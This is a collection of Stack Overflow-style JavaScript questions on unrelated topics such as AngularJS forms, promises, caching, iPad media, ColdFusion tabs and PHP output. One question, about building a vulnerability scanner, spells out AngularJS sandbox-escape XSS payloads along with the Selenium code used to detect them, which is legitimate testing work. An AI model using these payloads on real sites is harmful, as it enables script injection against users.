//plnkr.co/edit/MNLOxKqrlN5ccaUs5gpT ? p=previewThough I am getting names for classes object but not getting the selection.HTML code - Script File - -- -- -- -- -- -- - EDIT -- -- -- -- -- -- -Expected Output -classes obj - < body ng-controller= '' myCtrl '' > < div class= '' container-fluid '' > < form name= '' formValidate '' ng-submit= '' submitForm ( ) '' novalidate= '' '' class= '' form-validate form-horizontal '' > < div class= '' form-group '' > < label class= '' col-sm-2 control-label '' > Name < /label > < div class= '' col-sm-6 '' > < input type= '' text '' name= '' name '' required= '' '' ng-model= '' classes.name '' class= '' form-control '' / > < /div > < /div > < div class= '' form-group '' > < table id= '' datatable1 '' class= '' table table-striped table-hover '' > < tr class= '' gradeA '' ng-repeat= '' cls in reqgrps '' > < td ng-bind= '' cls.name '' > < /td > < td > < input type= '' radio '' name= '' groupName [ { { $ index } } ] '' ng-model= '' classes.satisfies '' > Choice 1 < /td > < td > < input type= '' radio '' name= '' groupName [ { { $ index } } ] '' ng-model= '' classes.satisfies '' > Choice 2 < /td > < td > < input type= '' radio '' name= '' groupName [ { { $ index } } ] '' ng-model= '' classes.satisfies '' > Choice 3 < /td > < /tr > < /table > < /div > < div class= '' panel-footer text-center '' > < button type= '' submit '' class= '' btn btn-info '' > Submit < /button > < /div > < /form > < /div > < div class= '' result '' > { { classes } } < /div > < /body > var myApp = angular.module ( 'myApp ' , [ ] ) ; myApp.controller ( 'myCtrl ' , function ( $ scope ) { $ scope.reqgrps = [ { name : 'Sub1 ' , roll : 121 } , { name : 'Sub2 ' , roll : 122 } , { name : 'Sub3 ' , roll : 123 } ] ; $ scope.classes = { } ; $ scope.result = { } ; $ scope.submitForm = function ( ) { $ scope.result = $ scope.classes ; } ; } ) ; { name : `` Test Class '' , satisfies : [ `` Sub1 '' : `` Choice 1 '' , `` Sub2 '' : `` Choice 3 '' , `` Sub3 '' : `` Choice 2 '' , ... ... ... ... ... .. ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... `` Subn '' : `` Choice 2 '' , ] }",Not able to get value of radio select setting dynmically in AngularJS JS : We know that let is a reserved keyword that defines a variable in JavaScript.So why is this not an error ? var let = 2 ; console.log ( let ) ; // return 2,Why is a JavaScript reserved keyword allowed as a variable name ? "JS : I am building an application in Python that checks if a certain web application is vulnerable for an AngularJS Sandbox Escape/Bypass.Here is how it works.My app starts a local web server ( http : //localhost ) using the following content.The Sandbox Escape payload I am using is { { c=toString.constructor ; p=c.prototype ; p.toString=p.call ; [ `` a '' , '' open ( 1 ) '' ] .sort ( c ) } } , which should open a new window due to the open ( 1 ) call.After starting the web server it uses Selenium ( with PhantomJS as driver ) to check if a new window opened due to the AngularJS Sandbox Escape.The problem I 'm facingPhantomJS does not open a new window . When I navigate to http : //localhost using Google Chrome it does open a new window.Here is the PhantomJS console log ( containing two errors ) : And this is the Google Chrome console log ( throws an error but does open a new window ) : Some other AngularJS Sandbox Escape payloads work without any problems . For example the payload below ( for AngularJS version 1.0.0 to 1.1.5 ) opens a new window in Chrome aswell as PhantomJS . { { constructor.constructor ( 'open ( 1 ) ' ) ( ) } } I hope someone will be able to help me fix this issue so that I can detect if the payload executed succesfully . Please note that I am using open ( 1 ) instead of alert ( 1 ) since it 's not possible to detect alerts in PhantomJS.Thanks in advance.Update 1 : This is a JSFiddle that works in Google Chrome , but does not work in PhantomJS . I am looking for a solution ( maybe a change in the payload or the PhantomJS settings or something ) so that the payload also triggers in PhantomJS.https : //jsfiddle.net/x90ey5fa/Update 2 : I found out it 's not related to AngularJS . The JSFiddle below contains 4 lines of JavaScript which work in Google Chrome but do not work in PhantomJS . I also attached the console log from PhantomJS.https : //jsfiddle.net/x90ey5fa/2/Version details : Operating System : Windows 10 x64Python version : 3.6.1Google Chrome version : 60.0.3112.78PhantomJS version : 2.1.1Selenium version : 3.4.3 ( installed via PIP ) < ! DOCTYPE html > < html > < head > < script src= '' https : //code.angularjs.org/1.2.19/angular.min.js '' > < /script > < /head > < body ng-app= '' '' > { { c=toString.constructor ; p=c.prototype ; p.toString=p.call ; [ `` a '' , '' open ( 1 ) '' ] .sort ( c ) } } < /body > < /html > capabilities = dict ( DesiredCapabilities.PHANTOMJS ) capabilities [ `` phantomjs.page.settings.XSSAuditingEnabled '' ] = Falsebrowser = webdriver.PhantomJS ( executable_path= '' ../phantomjs/win-2.1.1 '' , desired_capabilities=capabilities , ) browser.get ( `` http : //localhost/ '' ) return len ( browser.window_handles ) > = 2 [ { `` level '' : '' WARNING '' , `` message '' : '' Error : [ $ interpolate : interr ] http : //errors.angularjs.org/1.2.19/ $ interpolate/interr ? p0= % 0A % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 7B % 7Bc % 3DtoString.constructor % 3Bp % 3Dc.prototype % 3Bp.toString % 3Dp.call % 3B % 5B ' a ' % 2C'open ( 1 ) ' % 5D.sort ( c ) % 7D % 7D % 0A % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 0A % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 0A % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 & p1=SyntaxError % 3A % 20Expected % 20token % 20 ' ) '\n ( anonymous function ) ( https : //code.angularjs.org/1.2.19/angular.min.js:92 ) '' , `` timestamp '' :1501431637142 } , { `` level '' : '' WARNING '' , `` message '' : '' Error : [ $ interpolate : interr ] http : //errors.angularjs.org/1.2.19/ $ interpolate/interr ? p0= % 0A % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 7B % 7Bc % 3DtoString.constructor % 3Bp % 3Dc.prototype % 3Bp.toString % 3Dp.call % 3B % 5B ' a ' % 2C'open ( 1 ) ' % 5D.sort ( c ) % 7D % 7D % 0A % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 0A % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 0A % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 & p1=Error % 3A % 20 % 5B % 24parse % 3Aisecfn % 5D % 20http % 3A % 2F % 2Ferrors.angularjs.org % 2F1.2.19 % 2F % 24parse % 2Fisecfn % 3Fp0 % 3Dc % 253DtoString.constructor % 253Bp % 253Dc.prototype % 253Bp.toString % 253Dp.call % 253B % 255B ' a ' % 252C'open ( 1 ) ' % 255D.sort ( c ) \n ( anonymous function ) ( https : //code.angularjs.org/1.2.19/angular.min.js:92 ) '' , `` timestamp '' :1501431637142 } ] Error : [ $ interpolate : interr ] http : //errors.angularjs.org/1.2.19/ $ interpolate/interr ? p0= % 0A % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 7B % 7Bc % 3DtoString.constructor % 3Bp % 3Dc.prototype % 3Bp.toString % 3Dp.call % 3B % 5B ' a ' % 2C'open ( 1 ) ' % 5D.sort ( c ) % 7D % 7D % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 20 % 0A % 0A & p1=Error % 3A % 20 % 5B % 24parse % 3Aisecfn % 5D % 20http % 3A % 2F % 2Ferrors.angularjs.org % 2F1.2.19 % 2F % 24parse % 2Fisecfn % 3Fp0 % 3Dc % 253DtoString.constructor % 253Bp % 253Dc.prototype % 253Bp.toString % 253Dp.call % 253B % 255B ' a ' % 252C'open ( 1 ) ' % 255D.sort ( c ) at angular.js:36 at Object.r ( angular.js:8756 ) at k. $ digest ( angular.js:12426 ) at k. $ apply ( angular.js:12699 ) at angular.js:1418 at Object.d [ as invoke ] ( angular.js:3917 ) at c ( angular.js:1416 ) at cc ( angular.js:1430 ) at Xc ( angular.js:1343 ) at angular.js:21773 { 'level ' : 'WARNING ' , 'message ' : `` SyntaxError : Expected token ' ) '\n Function ( undefined:1 ) \n sort ( :0 ) '' , 'timestamp ' : 1501795341539 } `",Weird JavaScript behavior in PhantomJS/WebKit "JS : i have a gallery slider in my project.i have tested on my computer and all works fine , but when i tested on my ipad the images for the gallery slider dont load when i open my project . total images in the slider are 62 and have a total of 1.2mbMy Code : Javascript : Preloader : < div class= '' main '' > < div class= '' fixed-bar '' style= '' margin-top:40px '' > < ul id= '' carousel '' class= '' elastislide-list '' > < li > < a href= '' # p1 '' > < img src= '' imagens/paginas/1.jpg '' / > < /a > < /li > < li > < a href= '' # p2 '' > < img src= '' imagens/paginas/2.jpg '' / > < /a > < /li > < li > < a href= '' # p3 '' > < img src= '' imagens/paginas/3.jpg '' / > < /a > < /li > < li > < a href= '' # p4 '' > < img src= '' imagens/paginas/4.jpg '' / > < /a > < /li > < /ul > < /div > < /div > $ ( document ) .on ( 'pagebeforeshow ' , function ( ) { $ ( '.fixed-bar ' ) .hide ( ) ; } ) ; $ ( ' # carousel ' ) .elastislide ( { minItems : 9 } ) ; var images = new Array ( ) function preload ( ) { for ( i = 0 ; i < preload.arguments.length ; i++ ) { images [ i ] = new Image ( ) images [ i ] .src = preload.arguments [ i ] } } preload ( `` imagens/Paginas/1.jpg '' , `` imagens/Paginas/2.jpg '' , `` imagens/Paginas/3.jpg '' , `` imagens/Paginas/4.jpg '' , `` imagens/Paginas/5.jpg '' , `` imagens/Paginas/6.jpg '' , `` imagens/Paginas/7.jpg '' , `` imagens/Paginas/8.jpg '' , `` imagens/Paginas/9.jpg '' , `` imagens/Paginas/10.jpg '' , `` imagens/Paginas/11.jpg '' , `` imagens/Paginas/12.jpg '' , `` imagens/Paginas/13.jpg '' , `` imagens/Paginas/14.jpg '' , `` imagens/Paginas/15.jpg '' )",why dont load the images for the first on my ipad "JS : Lets say I have an array of promises . Each element of my array is a knex.js query builder and is ready to be executed and returns a promise.How can I run each element of this array sequentially.The array is built dynamically.Each q is not a promise by itself but it will return a promise upon execution . let promisesArray = [ q1 , q2 , q3 ] ;",Execute an Array of promises sequentially without using async/await "JS : If I have an array that I want to be of fixed size N for the purpose of caching the most recent of N items , then once limit N is reached , I 'll have to get rid of the oldest item while adding the newest item.Note : I do n't care if the newest item is at the beginning or end of the array , just as long as the items get removed in the order that they are added.The obvious ways are either : push ( ) and shift ( ) ( so that cache [ 0 ] contains the oldest item ) , orunshift ( ) and pop ( ) ( so that cache [ 0 ] contains the newest item ) Basic idea : However , I 've read about memory issues with shift and unshift since they alter the beginning of the array and move everything else around , but unfortunately , one of those methods has to be used to do it this way ! Qs : Are there other ways to do this that would be better performance-wise ? If the two ways I already mentioned are the best , are there specific advantages/disadvantages I need to be aware of ? ConclusionAfter doing some more research into data structures ( I 've never programmed in other languages , so if it 's not native to Javascript , I likely have n't heard of it ! ) and doing a bunch of benchmarking in multiple browsers with both small and large arrays as well as small and large numbers of reads / writes , here 's what I found : The 'circular buffer ' method proposed by Bergi is hands-down THE best as far performance ( for reasons explained in the answer and comments ) , and hence it has been accepted as the answer . However , it 's not as intuitive , and makes it difficult to write your own 'extra ' functions ( since you always have to take offset into account ) . If you 're going to use this method , I recommend an already-created one like this circular buffer on GitHub.The 'pop/unpush ' method is much more intuitive , and performs fairly well , accept at the most extreme numbers.The 'copyWithin ' method is , sadly , terrible for performance ( tested in multiple browsers ) , quickly creating unacceptable latency . It also has no IE support . It 's such a simple method ! I wish it worked better.The 'linked list ' method , proposed in the comments by Felix Kling , is actually a really good option . I initially disregarded it because it seemed like a lot of extra stuff I did n't need , but to my surprise ... .What I actually needed was a Least Recently Used ( LRU ) Map ( which employs a doubly-linked list ) . Now , since I did n't specify my additional requirements in my original question , I 'm still marking Bergi 's answer as the best answer to that specific question . However , since I needed to know if a value already existed in my cache , and if so , mark it as the newest item in the cache , the additional logic I had to add to my circular buffer 's add ( ) method ( primarily indexOf ( ) ) made it not much more efficient than the 'pop/unpush ' method . HOWEVER , the performance of the LRUMap in these situations blew both of the other two out of the water ! So to summarize : Linked List -- most options while still maintaining great performanceCircular Buffer -- best performance for just adding and gettingPop / Unpush -- most intuitive and simplestcopyWithin -- terrible performance currently , no reason to use var cache = [ ] , limit = 10000 ; function cacheItem ( item ) { // In case we want to do anything with the oldest item // before it 's gone forever . var oldest = [ ] ; cache.push ( item ) ; // Use WHILE and > = instead of just IF in case the cache // was altered by more than one item at some point . while ( cache.length > = limit ) { oldest.push ( cache.shift ( ) ) ; } return oldest ; }",Javascript : Efficiently move items in and out of a fixed-size array "JS : I have two functions in JavaScript . Its working fine on Windows 7 Chrome but loadedAudio_chrome function is not being fired on IPAD . function preloadAudio_chrome ( url ) { try { var audio = new Audio ( ) ; audio.addEventListener ( 'canplaythrough ' , loadedAudio_chrome , false ) ; //audio.src = filePath ; } catch ( e ) { alert ( e.message ) ; } } function loadedAudio_chrome ( ) { //alert ( 'not firing this alert on IPAD ' ) ; }",JavaScript audio object addEventListener canplaythrough not working on IPAD Chrome "JS : I am looking for a descriptive way to document the used data structures in my JavaScript application . I find it hard to get this done due to the dynamic character of JavaScript.For instance , what could be a good way to tell , that a used variable distance is a two-dimensional array with length i and j and stores numbers between -1 and MAX_INT . I could think of something like this : What about an object which is used as a map/dictionary for certain data types , what about a two-dimensional array where the first element of an array defines other data then the rest , etc.Of course , it is always possible to document these things in a text , I just thought , maybe there is a well known and used way to do this in a semiformal way . distance [ i ] [ j ] = -1 < = n < = MAX_INT",How to document JavaScript/CoffeeScript data structures "JS : The screen displays 3 dynamically created and loaded divs . The problem I 'm having is getting the resize to work when I try to make the divs go full screen . ( Click the front button and the 2nd on the back ) . When using the select option on top , the resize works perfectly , but the fullscreen does not have the same effect.This is my plunkr : http : //plnkr.co/edit/qYxIRjs6KyNm2bsNtt1PThis is my current resize function : Any help on hiding all the other divs and making them reappear later would also be greatly appreciated . This has taken a few days of work and I have gotten almost nowhere despite rewriting the code several times.Thanks for the help . for ( i = 0 ; i < numOfDivs.length ; i++ ) { var flipTarget = document.getElementById ( flipDiv [ i ] ) ; addResizeListener ( flipTarget , function ( ) { for ( j = 0 ; j < numOfDivs.length ; j++ ) { var style = window.getComputedStyle ( flipTarget ) ; divWidth = parseInt ( style.getPropertyValue ( 'width ' ) , 10 ) ; divHeight = parseInt ( style.getPropertyValue ( 'height ' ) , 10 ) ; width = divWidth - margin.left - margin.right ; height = divHeight - margin.top - margin.bottom ; document.getElementById ( frontDivNames [ j ] ) .innerHTML = ' < span style= '' font-size : 40px ; font-family : icons ; cursor : pointer '' id= '' flip '' onclick= '' flipper ( \ '' +flipperDivNames [ j ] +'\ ' ) '' > & # xf013 ; < /span > ' ; makeTestGraph ( ) ; makeSliderGraph ( ) ; } ; } ) ; }",Creating Dynamic Fullscreen and Minimize Div Functions "JS : I 've some js files organized this way ( see source ) : gmaps4rails.base.js : contains all the logicgmaps4rails.googlemaps.js : contains functionsgmaps4rails.bing.js : contains functions with the same name as the previous fileSo basically , base calls createMarkers ( ) which is in both googlemaps and bing.From now , I load only one among gmaps4rails.googlemaps.js and gmaps4rails.googlemaps.js , depending on the map API I need , so it works fine.Now I 'd like to be able to have all files loaded ( and keep them separate ) BUT of course only include the code of the desired maps API.Basically I think about something like : Thanks in advance . if desiredApi == `` googlemaps '' include GoogleMapsNameSpace content in BaseNameSpace",Javascript namespaces and conditional inclusion "JS : I have an application which generates dynamic tabs using CFlayout . Each tab is composed of a combination of variables , but for the purposes of this post , it 's not necessary to go into that . Here 's what 's interesting . In the past , I 've always gotten an error if CFlayout ca n't find the tab . If I change what the tab name is ( knowing it will be incorrect ) Coldfusion throws an error , so I know the tab exists normally , but for whatever reason , it 's not switching . Below is my code : JavaScriptHere is the logic to either create a new tab , or select a previously created tab : And like I said , there is no error thrown -- I can see that the focus comes off of the current parent tab , but for whatever reason , it does n't select the other top level tab . If however the tab that is trying to be created is under the current parent tab , it will select the lower level tab.Here is how I am generating the tabs on the ColdFusion side : The tabs get created fine , and everything works except selecting a different parent tab.Any help is greatly appreciated . var uniqueTopTabID = someVar , uniqueLowerTabID = uniqueTopTabID + someVar , $ topLayoutID = $ ( ' # cf_layoutarea ' + uniqueTopTabID ) , //jquery objects to find if the tabs exist $ lowerTabID = $ ( ' # cf_layoutarea ' + uniqueLowerTabID ) ; //same as above if ( $ topLayoutID.length < 1 ) { ColdFusion.Layout.createTab ( 'innerTabLayout ' , uniqueTopTabID , 'tabName ' , cfLayoutLocation , { inithide : false , selected : true , closable : true } ) ; } //if the subsystem and WBS have already been selected , focus on that tabelse if ( $ lowerTabID.length ! == 0 ) { ColdFusion.Layout.selectTab ( uniqueTopTabID , uniqueLowerTabID ) ; //i have also tried to select the top tab , and then select the bottom tab but that does n't work either } < cfif structKeyExists ( URL , '' bp '' ) > < ! -- - make sure some var is available -- - > < cfset actualsScenarioView = `` actualsScenarioView '' & URL.ss > < cflayout name= '' # actualsScenarioView # '' type= '' tab '' > < cfset scenarioName = URL.tabId > < cfset tabTitle = URL.subSystemName & ' : ' & URL.wbsName > < cfset sourceFile = 'the URL passed in ' > < cflayoutarea name= '' # scenarioName # '' title= '' # tabTitle # '' source= '' # sourceFile # '' refreshOnActivate= '' false '' closable= '' true '' > < /cflayoutarea > < /cflayout > < cfelse > < ! -- - if vars not avail , the page was request prior to submission , and will show noting -- - > < /cfif >","ColdFusion Layout , CFlayout , ca n't switch to parent tab" "JS : I am working on a very time-sensitive web application . One of the business rules given to me is that the application 's behavior must always depend on the time on the web server , regardless of what time is on the client 's clock . To make this clear to the user , I was asked to display the server 's time in the web application.To this end , I wrote the following Javascript code : The function passed in for updateDisplayCallback is a simple function to display the date on the web page.The basic idea is that the Javascript makes an asynchronous call to look up the server 's time , store it on the client , and then update it once per second.At first , this appears to work , but as time goes by , the displayed time gets behind a few seconds every minute . I left it running overnight , and when I came in the next morning , it was off by more than an hour ! This is entirely unacceptable because the web application may be kept open for days at a time.How can I modify this code so that the web browser will continuously and accurately display the server 's time ? clock = ( function ( ) { var hours , minutes , seconds ; function setupClock ( updateDisplayCallback ) { getTimeAsync ( getTimeCallback ) ; function getTimeCallback ( p_hours , p_minutes , p_seconds ) { hours = p_hours ; minutes = p_minutes ; seconds = p_seconds ; setInterval ( incrementSecondsAndDisplay , 1000 ) ; } function incrementSecondsAndDisplay ( ) { seconds++ ; if ( seconds === 60 ) { seconds = 0 ; minutes++ ; if ( minutes === 60 ) { minutes = 0 ; hours++ ; if ( hours === 24 ) { hours = 0 ; } } } updateDisplayCallback ( hours , minutes , seconds ) ; } } // a function that makes an AJAX call and invokes callback , passing hours , minutes , and seconds.function getTimeAsync ( callback ) { $ .ajax ( { type : `` POST '' , url : `` Default.aspx/GetLocalTime '' , contentType : `` application/json ; charset=utf-8 '' , dataType : `` json '' , success : function ( response ) { var date , serverHours , serverMinutes , serverSeconds ; date = GetDateFromResponse ( response ) ; serverHours = date.getHours ( ) ; serverMinutes = date.getMinutes ( ) ; serverSeconds = date.getSeconds ( ) ; callback ( serverHours , serverMinutes , serverSeconds ) ; } } ) } return { setup : setupClock } ; } ) ( ) ;",Displaying another computer 's time on a web page using Javascript ? "JS : My Javascript function leads my console to return me : TypeError : style is nullHere the snippet : I ca n't understand why . It seems to me everything is great , Any hint would be great , thanks . let style = { one : 1 , two : 2 , three : 3 } function styling ( style = style , ... ruleSetStock ) { return ruleSetStock.map ( ruleSet = > { console.log ( ruleSet ) return style [ ruleSet ] } ) } console.log ( styling ( null , `` one '' , `` two '' , `` three '' ) )",javaScript function - why my default argument fails ? "JS : If I run this : I get back an array with a single result : How can I get it to return all results , even if they overlap ? I want the result to be this : EDIT : Or a better example would be : should give me an array with [ 12,23,34,45,56,67 ] '121'.match ( / [ 0-9 ] { 2 } /gi ) [ '12 ' ] [ '12 ' , '21 ' ] '1234567'.match ( ... ) ;",How can I get a regex to find every match in javascript ? "JS : I 'm not sure of the exact wording to use , but I have seen object assignments in javascript done two wasyand Is there any actual difference between these , or any gotchas to be aware of ? $ ( ' # test ' ) .dataTable ( { fnInitComplete : myFunction } ) ; $ ( ' # test ' ) .dataTable ( { `` fnInitComplete '' : myFunction } ) ;",Is there any functional difference between using and not using quotes with javascript property name assignments ? "JS : I 'm using the Q promise library . My code relies on the fact that the callbacks for a single promise are executed in the same order as they were registered.http : //jsfiddle.net/HgYtK/1/This does produce the correct result , but I do n't know if it 's part of the spec or a happy coincidence that could break down the line . var deferred = Q.defer ( ) ; var promise = deferred.promise ; [ 'first ' , 'second ' , 'third ' ] .forEach ( function ( position ) { promise.then ( function ( ) { alert ( position ) ; } ) ; } ) ; deferred.resolve ( ) ;",Q promise : are callbacks invoked in the same order as registered ? "JS : My service needs to retrieve a value asynchronously , but once I have it , I 'd like to used a cached version of the value.When two controllers call this service , I 'd expect the first one to cache the retrieved value and the second one to use the cached value , but according to the log , I never find a cached value . When this runs , I see a log message that shows the value being cached , then , when I follow an angular route to a different controller , I do not see that the service finds the cached value . Why does it not run according to my expectation** ? **A couple notes : ( 1 ) I named the cached attribute _currentYear , adding the underscore to avoid colliding with the function name . Not sure if I need to do that . ( 2 ) I return a fulfilled promise when the value is cached , so the function always returns a promise ... also not sure if that 's needed , but figure it ca n't hurt . angular.module ( 'myApp.services ' ) .factory ( 'Config ' , function ( ) { var Config = { } ; Config.currentYear = function ( ) { if ( Config._currentYear ) { // sadly , we never execute here console.log ( `` returning cached year '' ) ; return Parse.Promise.as ( Config._currentYear ) ; } return Parse.Config.get ( ) .then ( function ( config ) { console.log ( `` caching year '' ) ; Config._currentYear = config.get ( `` currentYear '' ) ; return Config._currentYear ; } ) ; } ; return Config ; } ) ;",Angular service cache a value "JS : I encountered a very strange behaviour in php-html-mixed code . I 'm using XAMPP 3.2.1 ( PHP 5.2.0 ) and IntelliJ IDEA 14.1.This is what my code looks like ( scrubbed for readability , if you need more let me know ) : What happens when that loop runs n times , that for n-1 everything looks fine , but in the n-th run , within the < script > -section the code suddenly stops . The HTML-File ends properly with all tags closing.This looks as following ( n=4 ) : Or ( n=2 ) : Note that with an increasing n , the stop does not occur later in a deterministic way . That means when I tried n=3 , the below was the result : I 'm at the end of my knowledge . What causes this ? As requested more code : The delimiter accessed through the global variable is ; . It is defined in a file called functions.php , that is included through require_once ( `` functions.php ) ; in the index.php ( code above ) .The following shows the text file being parsed ( note that this is not the best solution , but is the first incremental step towards a full blown database ) .Note that the products ( Foo , Bar , ... ) are grouped by their product lines ( Steel , Copper , ... ) and then sorted by the numbers in column 3 ( third value in the ; -seperated rows ) .Accessing the steel-group echo $ lineData [ $ i ] shows the following : This is as expected exactly the same as in the file being parsed.Update : Changing to another php version ( 5.4 , 5.6 ) does not resolve the issue.Update : In Powershell `` C : \xampp\php\php.exe index.php | Out-File test.html '' produced an html file , that did NOT have the issue described above . So there is a workaround . I will digest further into IntelliJ IDEA.In the meantime I also removed the < p > ... < /p > tags which did not fix the issue . < ? phpfor ( $ i=0 ; $ i < count ( $ stringArray ) ; $ i++ ) { $ pieces = explode ( $ GLOBALS [ 'delimiter ' ] , $ lineData [ $ i ] ) ; ? > < div > ... < input id= '' < ? php echo $ pieces [ $ someValidNumber ] ; ? > _identifier '' ... > ... < script > // some javascript with < ? php echo $ variable ; ? > < /script > ... < /div > < ? php } ? > $ ( 'input [ id $ = '' MegaSteel_tons '' ] ' ) .val ( output2 ) ; $ ( ' # MegaSteel_cart ' ) .prop ( $ ( 'input [ id $ = '' BarZwo_meters '' ] ' ) .val ( output2 ) ; $ ( ' # BarZwo_cart ' ) .prop ( 'type ' , 'button ' ) .change $ ( 'input [ id $ = '' Bar_meters '' ] ' ) .val ( output2 ) ; $ ( ' # Bar_cart ' ) .prop ( 'type ' , 'button ' ) .change ( ) ; var price $ lineData = array ( ) ; $ f = fopen ( 'products.csv ' , ' r ' ) ; while ( ( $ line = fgetcsv ( $ f ) ) ! == false ) { if ( strpos ( $ line [ 0 ] , $ productLine ) ! == false ) { // the above produces single value arrays , thus we access them with [ 0 ] $ pieces = explode ( $ GLOBALS [ 'delimiter ' ] , $ line [ 0 ] ) ; $ index = ( int ) $ pieces [ 2 ] ; // todo : input must check that index is not already taken $ lineData [ $ index-1 ] = $ line [ 0 ] ; } } fclose ( $ f ) ; ksort ( $ lineData ) ; for ( $ i = 0 ; $ i < count ( $ lineData ) ; $ i++ ) { $ pieces = explode ( $ GLOBALS [ 'delimiter ' ] , $ lineData [ $ i ] ) ; $ prod_name = $ pieces [ 0 ] ; $ prod_lineNumber = $ pieces [ 2 ] ; $ prod_quantity = $ pieces [ 3 ] ; $ prod_tons = $ pieces [ 4 ] ; $ prod_meters = $ pieces [ 5 ] ; $ prod_pricePerTon = $ pieces [ 6 ] ; ? > < p > < ! -- User-Input -- > < b > < ? php echo $ pieces [ 0 ] ; ? > < /b > - < ? php echo $ prod_lineNumber ; ? > < br/ > Units : < input id= '' < ? php echo $ prod_name ; ? > _quantity '' type= '' text '' > Tons : < input id= '' < ? php echo $ prod_name ; ? > _tons '' type= '' text '' > Meters : < input id= '' < ? php echo $ prod_name ; ? > _meters '' type= '' text '' > Price per ton : < ? php echo $ prod_pricePerTon ; ? > Calculated price : < span id= '' < ? php echo $ prod_name ; ? > _price '' > 0 < /span > < input id= '' < ? php echo $ prod_name ; ? > _cart '' type= '' hidden '' value= '' Add to shopping cart ! '' onclick= '' addToCart ( ' < ? php echo $ prod_name ; ? > ' ) '' > < ! -- Auto-Update -- > < script > // first field - quantity $ ( 'input [ id $ = '' < ? php echo $ prod_name ; ? > _quantity '' ] ' ) .on ( 'keyup ' , function ( ) { var value = parseFloat ( $ ( this ) .val ( ) ) ; var output1 = value * < ? php echo $ prod_tons . `` / `` . $ prod_quantity ; ? > ; var output2 = value * < ? php echo $ prod_meters . `` / `` . $ prod_quantity ; ? > ; $ ( 'input [ id $ = '' < ? php echo $ prod_name ; ? > _tons '' ] ' ) .val ( output1 ) ; $ ( 'input [ id $ = '' < ? php echo $ prod_name ; ? > _meters '' ] ' ) .val ( output2 ) ; $ ( ' # < ? php echo $ prod_name ; ? > _cart ' ) .prop ( 'type ' , 'button ' ) .change ( ) ; var price = output1 * < ? php echo $ prod_pricePerTon ; ? > ; $ ( ' # < ? php echo $ prod_name ; ? > _price ' ) .text ( price ) ; } ) ; // second field - tons $ ( 'input [ id $ = '' < ? php echo $ pieces [ 0 ] ; ? > _tons '' ] ' ) .on ( 'keyup ' , function ( ) { var value = parseFloat ( $ ( this ) .val ( ) ) ; var output1 = value * < ? php echo $ prod_quantity . `` / `` . $ prod_tons ; ? > ; var output2 = value * < ? php echo $ prod_meters . `` / `` . $ prod_tons ; ? > ; $ ( 'input [ id $ = '' < ? php echo $ prod_name ; ? > _quantity '' ] ' ) .val ( output1 ) ; $ ( 'input [ id $ = '' < ? php echo $ prod_name ; ? > _meters '' ] ' ) .val ( output2 ) ; $ ( ' # < ? php echo $ prod_name ; ? > _cart ' ) .prop ( 'type ' , 'button ' ) .change ( ) ; var price = value * < ? php echo $ prod_pricePerTon ; ? > ; $ ( ' # < ? php echo $ prod_name ; ? > _price ' ) .text ( price ) ; } ) ; // third field - meters $ ( 'input [ id $ = '' < ? php echo $ pieces [ 0 ] ; ? > _meters '' ] ' ) .on ( 'keyup ' , function ( ) { var value = parseFloat ( $ ( this ) .val ( ) ) ; var output1 = value * < ? php echo $ prod_quantity . `` / `` . $ prod_meters ; ? > ; var output2 = value * < ? php echo $ prod_tons . `` / `` . $ prod_meters ; ? > ; $ ( 'input [ id $ = '' < ? php echo $ prod_name ; ? > _quantity '' ] ' ) .val ( output1 ) ; $ ( 'input [ id $ = '' < ? php echo $ prod_name ; ? > _tons '' ] ' ) .val ( output2 ) ; $ ( ' # < ? php echo $ prod_name ; ? > _cart ' ) .prop ( 'type ' , 'button ' ) .change ( ) ; var price = output2 * < ? php echo $ prod_pricePerTon ; ? > ; $ ( ' # < ? php echo $ prod_name ; ? > _price ' ) .text ( price ) ; } ) ; < /script > < /p > < ? php } ? > Foo ; Steel ; 1 ; 20 ; 30 ; 40 ; 4500.3Bar ; Copper ; 2 ; 20 ; 30 ; 40 ; 4500.3BarFoo ; Steel ; 3 ; 20 ; 30 ; 40 ; 4500.3FooBar ; Steel ; 2 ; 20 ; 30 ; 40 ; 4500.3FooBear ; Steel ; 4 ; 20 ; 30 ; 40 ; 4500.3 Foo ; Steel ; 1 ; 20 ; 30 ; 40 ; 4500.3FooBar ; Steel ; 2 ; 20 ; 30 ; 40 ; 4500.3BarFoo ; Steel ; 3 ; 20 ; 30 ; 40 ; 4500.3",HTML with PHP - < script > -section code suddenly ends - bug ? "JS : Many times I face the same problem : I want to filter an array with a simple condition e.g . check for non/equality , greater than , less than , contains ... My code looks like this : It would by nice to have shortcuts to such a simple operations soI created some helper functions : or : Is there a better way how to do this in javascript ? Does javascript have any built-in functions to support these simple comparisions ? var result = [ 1 , 2 , 3 , 4 ] .filter ( function ( i ) { return i > 2 ; } ) ; console.log ( result ) ; // [ 3 , 4 ] function isGreaterThan ( value ) { return function ( original ) { return value < original ; } } [ 1 , 2 , 3 , 4 ] .filter ( isGreaterThan ( 2 ) ) ; // [ 3 , 4 ] function 